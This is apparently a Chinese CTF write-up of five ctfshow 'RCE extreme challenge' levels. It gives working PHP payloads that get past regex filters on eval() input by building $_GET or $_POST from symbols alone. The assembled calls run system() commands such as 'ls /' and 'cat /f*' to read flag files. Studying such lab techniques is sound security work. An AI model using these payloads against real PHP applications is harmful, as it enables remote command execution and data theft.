ctfshow每周大挑战之RCE极限挑战

这篇具有很好参考价值的文章主要介绍了ctfshow每周大挑战之RCE极限挑战。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1、ctf.show每周大挑战之RCE极限挑战

ctfshow每周大挑战之RCE极限挑战,安全,安全

php的eval()解释:

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

return 语句会立即终止对字符串的计算。

返回值:除非在代码字符串中调用 return 语句,则返回传给 return 语句的值,否则返回 NULL。如果代码字符串中存在解析错误,则 eval() 函数返回 FALSE。

 2、RCE挑战1

如下图所示,POST传参时,参数名为code,后台对 "("、"." 做了替换。

ctfshow每周大挑战之RCE极限挑战,安全,安全

 如何才能查找到想要的flag呢?执行远程命令使用  system('ls /'); 或使用反引号 `ls /`;

ctfshow每周大挑战之RCE极限挑战,安全,安全

 如上图所示,使用post的code参数传参时,echo `ls /`,显示出系统命令执行的结果,看到有个f1agaaa文件,看似是flag文件,再查看该文件内容 echo `cat /f1agaaa`,这里也可以使用通配符进行内容查看 echo `cat /f*` ,获取到flag,如下图所示:

ctfshow每周大挑战之RCE极限挑战,安全,安全

 3、RCE挑战2

如下图所示,POST传参时,参数名为ctf_show,后台对参数值做了正则匹配。

ctfshow每周大挑战之RCE极限挑战,安全,安全

先确认哪些字符可传入。

<?php
for ($i=32;$i<127;$i++){
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
            echo chr($i)." ";
        }
}


//post可传入的字符如下:
// ! $ ' ( ) + , . / ; = [ ] _ 

从题目可以看出post传参被正则限制的厉害,想办法再同时进行get传参。使用数组绕过,获取数组名的第一个字符A,通过变量自增,组装$_GET[_],以便达到get传参,执行远程命令

$_=[]._;           //$_变量,[]默认表示数组名Array,._ 表示数组名Array拼接上字符'_'
var_dump($_);      //输出变量内容为:"Array_"
$__=$_['!'==','];  //里面判断结果为false,即$_[0],即取字符串"Array_"[0] 下标为0的字母,即"A",赋值给变量$__
$__++;$__++;$__++; //$__变量自增,值为B、C、D
$___=++$__;        //$___变量赋值为E,$__变量当前值为E
++$__;             //$__变量值自增,当前值为F
$___=++$__.$___;   //$__变量值自增,当前值为"G",拼接变量$___的值"E"后,再赋值给变量$___,其值为  "GE"
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; //$__变量自增,值为H、I、J、K、L、M、N、O、P、Q、R、S
$___=$___.++$__;   //$__变量值自增,当前值为T,$___变量的值"GE"拼接"T",再赋值给$___变量,其值为"GET"
$_='_'.$___;       //'_'拼接$___变量的值"GET",后再赋值给$_变量,其值为"_GET"
$$_[_]($$_[__]);   //即组装出$_GET[_]($_GET[__]),以便get传参,参数名为_和__,如_参数传参为system,__参数传参为ls /,即get传参后拼接出system('ls /')命令,以便eval去执行
//post传参
ctf_show=$_=[]._;$__=$_['!'==','];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;$$_[_]($$_[__]);

//get传参
?_=system&__=ls /

如下图所示,拼装了一个$_GET[_]($_GET[__]);组合,传递2个参数来达到执行 system('ls /');的目的(尝试只传递一个参数$_GET[_]接收 system("ls /")参数,访问时没什么反应,没想明白为何不行......)。

ctfshow每周大挑战之RCE极限挑战,安全,安全

 如上图所示,get参数_system值,参数__ls /值,可以查看到根目录有个f1agaaa文件,貌似是flag文件,如下图所示,参数_system参数__cat /f1agaaa,打开得到falg。

//post传参
ctf_show=$_=[]._;$__=$_['!'==','];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;$$_[_]($$_[__]);

//get传参
?_=system&__=cat /f1agaaa

//或get传参
?_=system&__=cat /f*

ctfshow每周大挑战之RCE极限挑战,安全,安全

4、RCE挑战3

如下图所示,POST传参时,参数名为ctf_show,后台对参数值做了正则匹配。

ctfshow每周大挑战之RCE极限挑战,安全,安全

 先确认哪些字符可传入。

for ($i=32;$i<127;$i++){
        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
            echo chr($i)." ";
        }
}

//post可传入的字符如下
//  0 $ 1 ( ) + , . / ; = [ ] _ 

从题目可以看出post传参被正则限制的厉害,想着同时进行get传参,但是限制了post参数长度(<=105)。使非数字绕过,_/_非法运算时返回NAN,通过变量自增,组装$_POST[_],以便达到post传参,执行远程命令

ctfshow每周大挑战之RCE极限挑战,安全,安全

ctfshow每周大挑战之RCE极限挑战,安全,安全

ctfshow每周大挑战之RCE极限挑战,安全,安全

 注意:之前好奇为啥 $d1 = 'ab'.'cd'[0],输出值为"abc",这里涉及到运算优先级问题,'cd'[0]的值为"c",再和前面的'ab'拼接后,即"abc"。

$_=(_/_._)[0];  //$_变量的值为"NAN_"[0]的值,即值为"N"
$_0=++$_;       //$_变量自增后,值为"O",且再赋值给变量$_0,且其值为"O"
$_0=++$_.$_0;   //$_变量增增后,值为"P",再拼接变量$_0的值"O",再赋值给变量$_0,即值为"PO"
++$_;++$_;      //$_变量增增后,值为"Q"、"R"
$_0.=++$_;      //变量$_0变量的值为"PO",再拼接$_变量增增后的值"S",再赋值给变量$_0,即值为"POS"
$_0.=++$_;      //变量$_0变量的值为"POS",再拼接$_变量增增后的值"T",再赋值给变量$_0,即值为"POST"
$_=_.$_0;       //变量$_重新赋值为"_"拼接变量$_0的值"POST",即值为"_POST"
$$_[0]($$_[1]); //替换$_0变量的值"_POST"后,即组装出 $_POST[0]($_POST[1]),以便post传参,参数名为0和1,如0参数传参为system,1参数传参为ls /,即post传参后拼接出system('ls /')命令,以便eval去执行。
//post传参
ctf_show=$_=(_/_._)[0];$_0=++$_;$_0=++$_.$_0;++$_;++$_;$_0.=++$_;$_0.=++$_;$_=_.$_0;$$_[0]($$_[1]);&0=system&1=ls /

如下图所示,拼装了一个$_POST[0]($_POST[1]);组合,传递2个参数来达到执行 system('ls /');的目的(尝试只传递一个参数$_POST[0]接收 system("ls /")参数,访问时没什么反应,没想明白为何不行......)。

ctfshow每周大挑战之RCE极限挑战,安全,安全

 如上图所示,post参数0system值,参数1ls /值,可以查看到根目录有个f1agaaa文件,貌似是flag文件,如下图所示,参数0system参数1cat /f*,打开得到falg。

//post传参
ctf_show=$_=(_/_._)[0];$_0=++$_;$_0=++$_.$_0;++$_;++$_;$_0.=++$_;$_0.=++$_;$_=_.$_0;$$_[0]($$_[1]);&0=system&1=cat /f*

ctfshow每周大挑战之RCE极限挑战,安全,安全

疑问:post的参数再进行post传参不被正则过滤掉!?

 同理,也可以尝试使用该方法查找RCE挑战2的flag。

//post传参
ctf_show=$_=(_/_._)['!'==','];$__=++$_;$__=++$_.$__;++$_;++$_;$__.=++$_;$__.=++$_;$_=_.$__;$$_[_]($$_[__]);&_=system&__=cat /f*

ctfshow每周大挑战之RCE极限挑战,安全,安全

5、RCE挑战4

如下图所示,POST传参时,参数名为ctf_show,后台对参数值做了正则匹配。

ctfshow每周大挑战之RCE极限挑战,安全,安全

  先确认哪些字符可传入。

for ($i=32;$i<127;$i++){
    if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
        echo chr($i)." ";
    }
}

//post可传入的字符如下
//  $ ( ) + , . / 0 ; = [ ] _ 

从题目可以看出post传参被正则限制的厉害,想着同时进行get传参,但是限制了post参数长度(<=85)。使非数字绕过,_/_非法运算时返回NAN,通过变量自增,组装$_POST[_],以便达到post传参,执行远程命令

ctfshow每周大挑战之RCE极限挑战,安全,安全

  注意:$__=$_.$_++(这里涉及3个运算符, 、  .    、  ++,其中++运算符优先级最高,$_++运算后,$_变量的值为"P",其中 .$_++,表示拼接变量$_自增前的值"O"

$_=(_/_._)[0];    //变量$_的值为"NAN_"[0],即值为"N"
++$_;             //变量$_的值自增后,值为"O"
$__=$_.$_++;      //变量$_的值自增后,值为"P",再拼接变量$_自增前的值"O",再赋值给变量$__,其值为"PO"
++$_;++$_;++$_;   //变量$_的值自增后,值为"Q"、"R"、"S"
$__.=$_++.$_;     //变量$_的值为"S",再拼接自增后的值"T",再拼接到变量$__(值为"PO")的后面,最后再赋值给变量$__,即值为"POST"
$_=_.$__;         //"_"拼接值为"POST"的变量$__,再赋值给变量$_,即值为"_POST"
$$_[_]($$_[0]);   替换$_变量的值"_POST"后,即组装出 $_POST[_]($_POST[0]),以便post传参,参数名为_和0,如_参数传参为system,0参数传参为ls /,即post传参后拼接出system('ls /')命令,以便eval去执行
//post传参
ctf_show=$_=(_/_._)[0];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;$$_[_]($$_[0]);&_=system&0=ls /

如下图所示,拼装了一个$_POST[_]($_POST[0]);组合,传递2个参数来达到执行 system('ls /');的目的(尝试只传递一个参数$_POST[_]接收 system("ls /")参数,访问时没什么反应,没想明白为何不行......)。

ctfshow每周大挑战之RCE极限挑战,安全,安全

  如上图所示,post参数_system值,参数0ls /值,可以查看到根目录有个f1agaaa文件,貌似是flag文件,如下图所示,参数_system参数0cat /f*,打开得到falg。

//post传参
ctf_show=$_=(_/_._)[0];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;$$_[_]($$_[0]);&_=system&0=cat /f*

ctfshow每周大挑战之RCE极限挑战,安全,安全

6、RCE挑战5

 如下图所示,POST传参时,参数名为ctf_show,后台对参数值做了正则匹配。

ctfshow每周大挑战之RCE极限挑战,安全,安全

   先确认哪些字符可传入。

for ($i=32;$i<127;$i++){
    if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
        echo chr($i)." ";
    }
}

//post可传入的字符如下
// $ ( ) + , . / ; = [ ] _ 

 字符长度如何再减少呢?直接将_POST当做post参数的参数名

$_=(_/_._)[_];                     //变量$_的值为"NAN_"[0],即值为"N"
++$_;                              //变量$_的值自增后,值为"O"
$__=$_.$_++;                       //变量$_的值自增后,值为"P",再拼接变量$_自增前的值"O",再赋值给变量$__,其值为"PO"
++$_;++$_;                         //变量$_的值自增后,值为"Q"、"R"
$$_[$_=_.$__.++$_.++$_]($$_[_]);   //变量$_的值自增后,值为"S"、"T",并将其拼接到一起"ST",再拼接到$__变量(值为"PO")之后,即值为"POST",
                                   //在再前面拼接"_",即值为"_POST",并赋值给$_变量,再组装成$_POST[]($_POST[_])
//post传参
ctf_show=$_=(_/_._)[_];++$_;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]);

ctfshow每周大挑战之RCE极限挑战,安全,安全

 文章来源地址https://www.toymoban.com/news/detail-758918.html

到了这里,关于ctfshow每周大挑战之RCE极限挑战的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 和鲸社区数据分析每周挑战【第九十三期:特斯拉充电桩分布分析】

    本周的挑战内容为: 特斯拉充电桩分布分析 大家可以去关于特斯拉超级充电站数据集(全球)的探索在线或者下载到本地进行运行这个项目。 数据集来源本次活动提供: 1、获取拥有最多充电站的 10 个国家 我们不难发现美国共有超过1100座特斯拉充电站,是世界上特斯拉充

    2024年02月11日
    浏览(45)
  • 春秋云镜-内网极限挑战赛-Exchange

    看到奖品还有证书,还涉及oscp方面的东西,过来打打 感谢TryHackMe Exchange 是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中

    2023年04月19日
    浏览(38)
  • 在浏览器的舞台上演:前端如何挑战页面刷新的极限

    在无尽的数字海洋中,用户和浏览器之间建立了一座看不见的桥梁,连接了网页的现实与虚拟。而在这座桥上,JavaScript像是一位魔法师,可以通过各种巧妙的技巧,让页面焕然一新,展示出绚丽的景象。 这个博客将带你走进前端的奇妙世界,揭示页面刷新的幕后秘密。从简

    2024年02月04日
    浏览(42)
  • Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中(预计8.18完成)~

    pregmatch 是正则匹配函数,匹配是否包含flag, if(!preg_match(\\\"/flag/i\\\", $c)) , /i 忽略大小写 可以利用system来间接执行系统命令 flag采用 f* 绕过,或者 mv fl?g.php 1.txt 修改文件名,或者 cat 反引号ls反引号 linux通配符:https://www.cnblogs.com/ysuwangqiang/p/11364173.html 多了对system和php的过滤 用

    2024年02月12日
    浏览(45)
  • 亿赛通电子文档安全管理系统 RCE漏洞

    免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 亿赛通电子文档安全管理系统(简称:CD

    2024年02月12日
    浏览(42)
  • 探索Apache ActiveMQ RCE:一个强大的安全研究工具

    项目地址:https://gitcode.com/sincere9/Apache-ActiveMQ-RCE 在这个数字化的时代,消息中间件是构建高效、可扩展系统的关键组件。Apache ActiveMQ作为一款开源的消息代理,广泛应用于企业级应用中。然而,与所有软件一样,它也可能存在安全隐患。这就是为什么 Apache ActiveMQ RCE (远程代码

    2024年04月16日
    浏览(47)
  • 网络安全-JDBC反序列化漏洞与RCE

    ubuntu 20:ip 10.28.144.100,安装docker、python3、docker-compose(可选)、Java(可选) windows11:ip 10.28.144.10,安装了Java、wireshark、Navicat(可选)、IDEA(可选) Java中这些magic方法在反序列化的时候会自动调用: readObject() readExternal() readResolve() readObjectNoData() validateObject() finalize() Java

    2024年02月10日
    浏览(39)
  • WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网

    #知识点: 1、Java安全-RCE执行-5大类函数调用 2、Java安全-JNDI注入-RMILDAP高版本 3、Java安全-不安全组件(框架)-ShiroFastJsonJacksonXStreamLog4j 黑盒看参数名和参数值 白盒看类函数名和可控变量(大部分白盒) JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序

    2024年02月04日
    浏览(39)
  • [CTF/网络安全] 攻防世界 php_rce 解题详析

    PHP RCE 指的是通过远程代码执行漏洞(Remote Code Execution)来攻击 PHP 程序的一种方式。简单来说,由于PHP应用程序没有正确处理外部输入数据(如用户提交的表单、请求参数等),攻击者通过某些手段向 PHP 应用程序中注入恶意代码,然后通过这些恶意代码实现对受攻击服务器

    2024年02月06日
    浏览(50)
  • 亿赛通电子文档安全管理系统 RCE漏洞复现(QVD-2023-19262)

       亿赛通电子文档安全管理系统(简称:CDG)是一款电子文档安全加密软件,该系统利用驱动层透明加密技术,通过对电子文档的加密保护,防止内部员工泄密和外部人员非法窃取企业核心重要数据资产,对电子文档进行全生命周期防护,系统具有透明加密、主动加密、智

    2024年02月12日
    浏览(47)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包